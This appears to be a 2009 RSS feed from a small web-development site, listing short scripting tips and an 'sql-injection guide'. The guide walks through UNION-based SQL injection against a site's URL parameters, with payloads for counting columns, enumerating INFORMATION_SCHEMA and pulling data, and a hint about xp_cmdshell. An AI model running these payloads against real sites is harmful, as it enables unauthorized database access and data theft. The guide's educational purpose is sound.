<?xml version="1.0"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<title>10 Most Recently Updated Pages</title>
		<link>http://www.lxer.nl/webdevelopment/home/</link>
		<atom:link href="http://www.lxer.nl/webdevelopment/home/" rel="self" type="application/rss+xml" />
		<description>Shows a list of the 10 most recently updated pages.</description>

		
		<item>
			<title>use Python for http POST requests</title>
			<link>http://www.lxer.nl/webdevelopment/use-python-for-http-post-requests/</link>
			<description>&lt;p&gt;A little script that shows how to use Python for HTTP Requests&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;import string,urllib&lt;br /&gt;def format(items):&lt;br /&gt;     list = []&lt;br /&gt;     for k, v in items:&lt;br /&gt;        list.append(&quot;%s=%s&quot; % (k, urllib.quote_plus(v)))&lt;br /&gt;     return string.join(list, '&amp;amp;')&lt;br /&gt;data = { 'hidd':'en', 'email':'you at yourmail.com',&lt;br /&gt;          'POST':'post.gif' }&lt;br /&gt;d = format(data.items())&lt;br /&gt;try:&lt;br /&gt;     sock = urlopen(YourURL, d)&lt;br /&gt;     for l in sock.readlines():&lt;br /&gt;         print l&lt;br /&gt;     sock.close()&lt;br /&gt;     finally:&lt;br /&gt;         urlcleanup()&lt;/pre&gt;</description>
			<pubDate>Mon, 26 Jan 2009 11:16:54 +0100</pubDate>
			
			<guid>http://www.lxer.nl/webdevelopment/use-python-for-http-post-requests/</guid>
		</item>
		
		<item>
			<title>Generate sitemaps</title>
			<link>http://www.lxer.nl/webdevelopment/generate-sitemaps/</link>
			<description>&lt;p&gt;A nice script I made for generating (google) sitemaps n Bash.&lt;/p&gt;
&lt;p&gt;it simply mirrors and extracts the url's and creates a xml file.Then it notifies google that a new sitemap is created.&lt;/p&gt;
&lt;pre&gt;#!/bin/bash&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;url=&quot;yoursite.com&quot;&lt;br /&gt;date=`date +'%FT%k:%M:%S+00:00'`&lt;br /&gt;freq=&quot;weekly&quot;&lt;br /&gt;prio=&quot;0.5&quot;&lt;br /&gt;&lt;br /&gt;rm sitemap.xml&lt;br /&gt;&lt;br /&gt;list=`wget -r --delete-after $url --reject=.rss.gif,.png,.jpg,.css,.js,.txt,.ico 2&amp;gt;&amp;amp;1 |grep &quot;\-\-&quot;  |grep http | awk '{ print $3 }'`&lt;br /&gt;array=($list)&lt;br /&gt;&lt;br /&gt;echo ${#array[@]} &quot;pages detected for $url&quot; &lt;br /&gt;&lt;br /&gt;echo '&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt; &lt;br /&gt;   &amp;lt;urlset xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&amp;gt;' &amp;gt;&amp;gt; sitemap.xml;&lt;br /&gt;   for ((i=0;i&amp;lt;${#array[*]};i++)); do&lt;br /&gt;        echo &quot;&amp;lt;url&amp;gt;&lt;br /&gt;        &amp;lt;loc&amp;gt;${array[$i]:0}&amp;lt;/loc&amp;gt;&lt;br /&gt;        &amp;lt;priority&amp;gt;$prio&amp;lt;/priority&amp;gt;&lt;br /&gt;        &amp;lt;lastmod&amp;gt;$date&amp;lt;/lastmod&amp;gt;&lt;br /&gt;        &amp;lt;changefreq&amp;gt;$freq&amp;lt;/changefreq&amp;gt;&lt;br /&gt;   &amp;lt;/url&amp;gt;&quot; &amp;gt;&amp;gt; sitemap.xml&lt;br /&gt;   done&lt;br /&gt;echo &quot;&amp;lt;/urlset&amp;gt;&quot; &amp;gt;&amp;gt; sitemap.xml&lt;br /&gt;&lt;br /&gt;#notify google&lt;br /&gt;wget  -q --delete-after http://www.google.com/webmasters/tools/ping?sitemap=http://$url/sitemap.xml&lt;br /&gt;&lt;br /&gt;rm -r ${url}&lt;br /&gt;exit 0&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
			<pubDate>Mon, 11 May 2009 12:59:40 +0200</pubDate>
			
			<guid>http://www.lxer.nl/webdevelopment/generate-sitemaps/</guid>
		</item>
		
		<item>
			<title>Twitter &amp; bash</title>
			<link>http://www.lxer.nl/webdevelopment/twitter-bash/</link>
			<description>&lt;p&gt;Using twitter is not really one of my hobbies, but sometimes it can be usefull to leave a message.&lt;/p&gt;
&lt;p&gt;So I wrote this little function that writes someting to my twitter account.&lt;/p&gt;
&lt;p&gt;Add this to your .bashrc file&lt;/p&gt;
&lt;pre&gt;twit ()&lt;br /&gt;{ a=$@&lt;br /&gt;&amp;nbsp;&amp;nbsp; curl -u username:password&amp;nbsp; -d status=&quot;$a&quot; http://twitter.com/statuses/update.xml &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;
&lt;p&gt;So in order to post a message, simply type somthing like&amp;nbsp; &amp;nbsp; &lt;em&gt;twit hi everyone&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;or if you are really lazy (like me) automatically post a 'fortune'&amp;nbsp; like this:&lt;/p&gt;
&lt;pre&gt;twit `fortune -n140`&lt;br /&gt;&lt;/pre&gt;
&lt;p&gt;(and don't tell anyone i use Cronjob to post my messages ;)&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Next week I'll try to make a scipt that uses Markov-chains and and creates messages based on a collection of twitter accounts. Then we'll see if a thousand monkeys actually are capable of writing a novel :)&lt;/em&gt;&lt;/p&gt;</description>
			<pubDate>Tue, 12 May 2009 11:53:31 +0200</pubDate>
			
			<guid>http://www.lxer.nl/webdevelopment/twitter-bash/</guid>
		</item>
		
		<item>
			<title>xml2array</title>
			<link>http://www.lxer.nl/webdevelopment/xml2array/</link>
			<description>&lt;p&gt;A usefull script to convert XML into some array, so it can be used for for example importing to a database or something.&lt;/p&gt;
&lt;div class=&quot;snippet_view&quot;&gt;
&lt;pre class=&quot;php&quot;&gt;&lt;span&gt;function&lt;/span&gt; xml2array&lt;span&gt;(&lt;/span&gt;&lt;span&gt;$xml&lt;/span&gt;&lt;span&gt;)&lt;/span&gt; &lt;span&gt;{&lt;/span&gt;&lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span&gt;$xmlary&lt;/span&gt; = &lt;a href=&quot;http://www.php.net/array&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;array&lt;/span&gt;&lt;/a&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;;&lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span&gt;$reels&lt;/span&gt; = &lt;span&gt;'/&amp;lt;(&lt;span&gt;\w&lt;/span&gt;+)&lt;span&gt;\s&lt;/span&gt;*([^&lt;span&gt;\/&lt;/span&gt;&amp;gt;]*)&lt;span&gt;\s&lt;/span&gt;*(?:&lt;span&gt;\/&lt;/span&gt;&amp;gt;|&amp;gt;(.*)&amp;lt;&lt;span&gt;\/&lt;/span&gt;&lt;span&gt;\s&lt;/span&gt;*&lt;span&gt;\\&lt;/span&gt;1&lt;span&gt;\s&lt;/span&gt;*&amp;gt;)/s'&lt;/span&gt;;&lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span&gt;$reattrs&lt;/span&gt; = &lt;span&gt;'/(&lt;span&gt;\w&lt;/span&gt;+)=(?:&quot;|&lt;span&gt;\'&lt;/span&gt;)([^&quot;&lt;span&gt;\'&lt;/span&gt;]*)(:?&quot;|&lt;span&gt;\'&lt;/span&gt;)/'&lt;/span&gt;;&lt;br /&gt; &lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;a href=&quot;http://www.php.net/preg_match_all&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;preg_match_all&lt;/span&gt;&lt;/a&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;$reels&lt;/span&gt;, &lt;span&gt;$xml&lt;/span&gt;, &lt;span&gt;$elements&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;;&lt;br /&gt; &lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span&gt;foreach&lt;/span&gt; &lt;span&gt;(&lt;/span&gt;&lt;span&gt;$elements&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;]&lt;/span&gt; &lt;span&gt;as&lt;/span&gt; &lt;span&gt;$ie&lt;/span&gt; =&amp;gt; &lt;span&gt;$xx&lt;/span&gt;&lt;span&gt;)&lt;/span&gt; &lt;span&gt;{&lt;/span&gt;&lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span&gt;$xmlary&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;$ie&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;&quot;name&quot;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt; = &lt;span&gt;$elements&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;$ie&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;;&lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span&gt;if&lt;/span&gt; &lt;span&gt;(&lt;/span&gt;&lt;span&gt;$attributes&lt;/span&gt; = &lt;a href=&quot;http://www.php.net/trim&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;trim&lt;/span&gt;&lt;/a&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;$elements&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;$ie&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;)&lt;/span&gt; &lt;span&gt;{&lt;/span&gt;&lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;a href=&quot;http://www.php.net/preg_match_all&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;preg_match_all&lt;/span&gt;&lt;/a&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;$reattrs&lt;/span&gt;, &lt;span&gt;$attributes&lt;/span&gt;, &lt;span&gt;$att&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;;&lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span&gt;foreach&lt;/span&gt; &lt;span&gt;(&lt;/span&gt;&lt;span&gt;$att&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;]&lt;/span&gt; &lt;span&gt;as&lt;/span&gt; &lt;span&gt;$ia&lt;/span&gt; =&amp;gt; &lt;span&gt;$xx&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span&gt;$xmlary&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;$ie&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;&quot;attributes&quot;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;$att&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;$ia&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;]&lt;/span&gt; = &lt;span&gt;$att&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;$ia&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;;&lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span&gt;}&lt;/span&gt;&lt;br /&gt; &lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span&gt;$cdend&lt;/span&gt; = &lt;a href=&quot;http://www.php.net/strpos&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;strpos&lt;/span&gt;&lt;/a&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;$elements&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;$ie&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;, &lt;span&gt;&quot;&amp;lt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;;&lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span&gt;if&lt;/span&gt; &lt;span&gt;(&lt;/span&gt;&lt;span&gt;$cdend&lt;/span&gt; &amp;gt; &lt;span&gt;0&lt;/span&gt;&lt;span&gt;)&lt;/span&gt; &lt;span&gt;{&lt;/span&gt;&lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span&gt;$xmlary&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;$ie&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;&quot;text&quot;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt; = &lt;a href=&quot;http://www.php.net/substr&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;substr&lt;/span&gt;&lt;/a&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;$elements&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;$ie&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;, &lt;span&gt;0&lt;/span&gt;, &lt;span&gt;$cdend&lt;/span&gt; - &lt;span&gt;1&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;;&lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span&gt;}&lt;/span&gt;&lt;br /&gt; &lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span&gt;if&lt;/span&gt; &lt;span&gt;(&lt;/span&gt;&lt;a href=&quot;http://www.php.net/preg_match&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;preg_match&lt;/span&gt;&lt;/a&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;$reels&lt;/span&gt;, &lt;span&gt;$elements&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;$ie&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span&gt;$xmlary&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;$ie&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;&quot;elements&quot;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt; = xml2array&lt;span&gt;(&lt;/span&gt;&lt;span&gt;$elements&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;$ie&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;;&lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span&gt;else&lt;/span&gt; &lt;span&gt;if&lt;/span&gt; &lt;span&gt;(&lt;/span&gt;&lt;span&gt;$elements&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;$ie&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;)&lt;/span&gt; &lt;span&gt;{&lt;/span&gt;&lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span&gt;$xmlary&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;$ie&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;&quot;text&quot;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt; = &lt;span&gt;$elements&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;$ie&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;;&lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span&gt;}&lt;/span&gt;&lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span&gt;}&lt;/span&gt;&lt;br /&gt; &lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span&gt;return&lt;/span&gt; &lt;span&gt;$xmlary&lt;/span&gt;;&lt;br /&gt; &lt;span&gt;}&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;</description>
			<pubDate>Wed, 06 May 2009 09:48:55 +0200</pubDate>
			
			<guid>http://www.lxer.nl/webdevelopment/xml2array/</guid>
		</item>
		
		<item>
			<title>Keep SSH connection open</title>
			<link>http://www.lxer.nl/webdevelopment/keep-ssh-connection-open/</link>
			<description>&lt;p&gt;Many home and office routers kill &quot;idle&quot; connections after a certain length of time, forcing you to log in again. From an ISP's point of view this is understandable, but imho it's just annoying to loose a connection when you just went for a coffee and forget to be back in time.&lt;br /&gt; A one-line addition to the end of the client's SSH configuration file (found at /etc/ssh/ssh_config in many systems) can fix this:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ServerAliveInterval 180&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That should send a little ping out every three minutes to ensure the connection is kept alive. This tip should work on most OpenSSH servers that allows access to its sshd_config file. Just make sure you close your connection if you really don't use it for some time.&lt;/p&gt;</description>
			<pubDate>Mon, 26 Jan 2009 12:25:40 +0100</pubDate>
			
			<guid>http://www.lxer.nl/webdevelopment/keep-ssh-connection-open/</guid>
		</item>
		
		<item>
			<title>sql-injection guide</title>
			<link>http://www.lxer.nl/webdevelopment/sql-injection-guide/</link>
			<description>&lt;h3&gt;SQL-injection in a nutshell&lt;/h3&gt;
&lt;p&gt;Most sites use a database for their backend system. In the url of these sites you can often find GET-data, like example.com?textid=4. This usually means that this number '4' is used somewhere in a database query. (another option would be that this number is used to look for a file with this name, but lets assume that this a database driven site)&lt;/p&gt;
&lt;p&gt;Modifying that statement could produce an error,try for example a very high value, or some special characters, or try a letter instead of a number; if the column is of type 'int' and you feed it a character it will most likely produce an error , which is what we're looking for. This error shows probably too much information, like the databasetype, the tablename, or even shows the complete query. This all depends on the measures that the coder or server-admin has taken. In php for example you can easily suppres error-messages by adding a '@' in front of a function. Filtering/validation of the 'GET' or 'POST' data will even is even a better way to avoid these mistakes (protip: filter everything, except numbers; if you set up a server/site this way, then its very unlikely that any attempt to sql-injection will work.)&lt;/p&gt;
&lt;p&gt;Once you know that the website is vulnerable, the are a few steps to take:&lt;/p&gt;
&lt;p&gt;* find the right format to execute query's, like do you have to use some extra&lt;br /&gt; ) ,   &quot;  ,  '  or  ;&lt;br /&gt; * get table names&lt;br /&gt; * get more information about the DB, like what is in INFORMATION_SCHEMA.&lt;br /&gt; * test if there are more vulnerabilities, like stored procedures, master..Xp_cmdshell (knowing this could save some time ;)&lt;br /&gt; * execute queries to the tables you want.&lt;br /&gt; * make sure there is some way for you to read the output.&lt;br /&gt; SQL commands,  quick reference&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ORDER BY: Tells the website which column to display first on the webpage that you are currently viewing.&lt;br /&gt; SELECT  : Specifies certain information in a table.&lt;br /&gt; UPDATE  : Changes existing information in a column of a table.&lt;br /&gt; AND  : Both conditions must be true in order for a command to be carried out.&lt;br /&gt; OR   : Only one condition must be true in order for a command to be carried out.&lt;br /&gt; --   : Ends your series of commands.&lt;br /&gt; +    : Use the plus sign instead of a space.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h5&gt;0. check if the site is vulnerable&lt;/h5&gt;
&lt;p&gt;Many url's look something like this: www.domain.com?id=10&lt;/p&gt;
&lt;p&gt;TRY:&lt;/p&gt;
&lt;pre&gt;$~&amp;gt; www.mydomain.com?id=10+AND+1=0--&lt;/pre&gt;
&lt;p&gt;This should always result to untrue and produce a query-error if vulnerable. This probably gives you a clue about the database and such. If not then error-messages have been turned of or some other other measures have been taken.&lt;/p&gt;
&lt;p&gt;(or)&lt;br /&gt; TRY:&lt;/p&gt;
&lt;pre&gt;www.mydomain.com/home.asp?id=10+HAVING+1=1--&lt;/pre&gt;
&lt;p&gt;This will result in a error like this:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Column 'table.column' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;or&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Microsoft JET Database Engine ...&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h5&gt;1. watch the query-error carefully. Are some extra ', &quot;, ), etc needed?&lt;/h5&gt;
&lt;h5&gt;2. how many columns are displayed on the page?&lt;/h5&gt;
&lt;p&gt;Add this to the url:&lt;br /&gt; +ORDER+BY+1--&lt;br /&gt; example:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;www.mydomain.net/home.asp?id=10+ORDER+BY+1--&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This tells the page to show column 1 first.&lt;br /&gt; TRY:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;+ORDER+BY+2--&lt;br /&gt; +ORDER+BY+3--&lt;br /&gt; etc.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;until you receive an error. Now you know how many columns there are in this table.&lt;/p&gt;
&lt;h5&gt;3. INFORMATION_SCHEMA&lt;/h5&gt;
&lt;p&gt;get information from the information_schema about this table:&lt;br /&gt; TRY:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;www.mydomain.net/home.asp?id=-10+UNION+SELECT+1,table_name,3,4+FROM+INFORMATION_SCHEMA.TABLES--&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This probably shows some extra numbers and word(s) on the site.&lt;br /&gt; 1,table_name,3,4  are the columns, column 2 shows the tablename. This can be tried for every number, like:&lt;br /&gt; 1,2,table_name,4&lt;/p&gt;
&lt;h5&gt;4. Find the right table&lt;/h5&gt;
&lt;p&gt;TRY:    (www.mydomain.net/home.asp?)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;id=-10+UNION+SELECT+1,table_name,3,4+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_name&amp;gt;'KnownTable'--&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;'KnownTable' should be replaced by the tablename that you've figured out. This lets you 'navigate' trough the tables.&lt;/p&gt;
&lt;p&gt;Repeat step 3. if necessary&lt;/p&gt;
&lt;h5&gt;5.  Get column names&lt;/h5&gt;
&lt;p&gt;TRY:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;www.mydomain.net/home.asp?-1+UNION+SELECT+1,column_name,3+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name='KnownTable'--&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;then 'navigate' the columns&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;-1+UNION+SELECT+1,column_name,3+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name='KnownTable'+AND+column_name&amp;gt;'KnownColumn'--&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This shows the columnname after KnownColumn&lt;/p&gt;
&lt;h5&gt;6.  showing output&lt;/h5&gt;
&lt;p&gt;Use the UNION statement to 'add' your query. Use the table and columnnames that you've found.&lt;br /&gt; TRY:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;www.mydomain.net/home.asp?-1+UNION+SELECT+1,knownColumn,3,4+FROM+KnownTable--&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;this will most likely show some content from that column (let's say we call it 'SomeData')&lt;/p&gt;
&lt;p&gt;TRY:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;www.mydomain.net/home.asp?-1+UNION+SELECT+1,AnotherColumn,3,4+FROM+KnownTable+WHERE+KnownColumn='SomeData'--&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;or possibly:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;-1+UNION+SELECT+*+FROM+KnownTable+WHERE+KnownColumn='SomeData'--&lt;/p&gt;
&lt;/blockquote&gt;</description>
			<pubDate>Mon, 26 Jan 2009 14:33:17 +0100</pubDate>
			
			<guid>http://www.lxer.nl/webdevelopment/sql-injection-guide/</guid>
		</item>
		
		<item>
			<title>Projects</title>
			<link>http://www.lxer.nl/webdevelopment/projects/</link>
			<description>&lt;p&gt;-- currently under contruction --&lt;/p&gt;
&lt;p&gt;&amp;nbsp;for more info, contact us at&amp;nbsp; info@lxer.nl&lt;/p&gt;</description>
			<pubDate>Tue, 27 Jan 2009 18:32:28 +0100</pubDate>
			
			<guid>http://www.lxer.nl/webdevelopment/projects/</guid>
		</item>
		
		<item>
			<title>LXer WebDevelopment</title>
			<link>http://www.lxer.nl/webdevelopment/</link>
			<description>&lt;p class=&quot;center&quot;&gt;&lt;strong&gt;&lt;br /&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p class=&quot;center&quot;&gt;&lt;strong&gt;This website is currently under construction and will be ready soon. &lt;/strong&gt;&lt;/p&gt;
&lt;p class=&quot;center&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p class=&quot;center&quot;&gt;&lt;em&gt;For more information, email us at: &amp;nbsp; info@lxer.nl&lt;/em&gt;&lt;/p&gt;
&lt;p class=&quot;center&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
			<pubDate>Fri, 23 Jan 2009 15:38:59 +0100</pubDate>
			
			<guid>http://www.lxer.nl/webdevelopment/</guid>
		</item>
		
		<item>
			<title>Page not found</title>
			<link>http://www.lxer.nl/webdevelopment/page-not-found/</link>
			<description>&lt;p&gt;Sorry, it seems you were trying to access a page that doesn't exist.&lt;/p&gt;
&lt;p&gt;Please check the spelling of the URL you were trying to access and try again.&lt;/p&gt;</description>
			<pubDate>Fri, 23 Jan 2009 15:38:59 +0100</pubDate>
			
			<guid>http://www.lxer.nl/webdevelopment/page-not-found/</guid>
		</item>
		
		<item>
			<title>Fail2ban - Prevent Bruteforce Attacks </title>
			<link>http://www.lxer.nl/webdevelopment/fail2ban-prevent-bruteforce-attacks/</link>
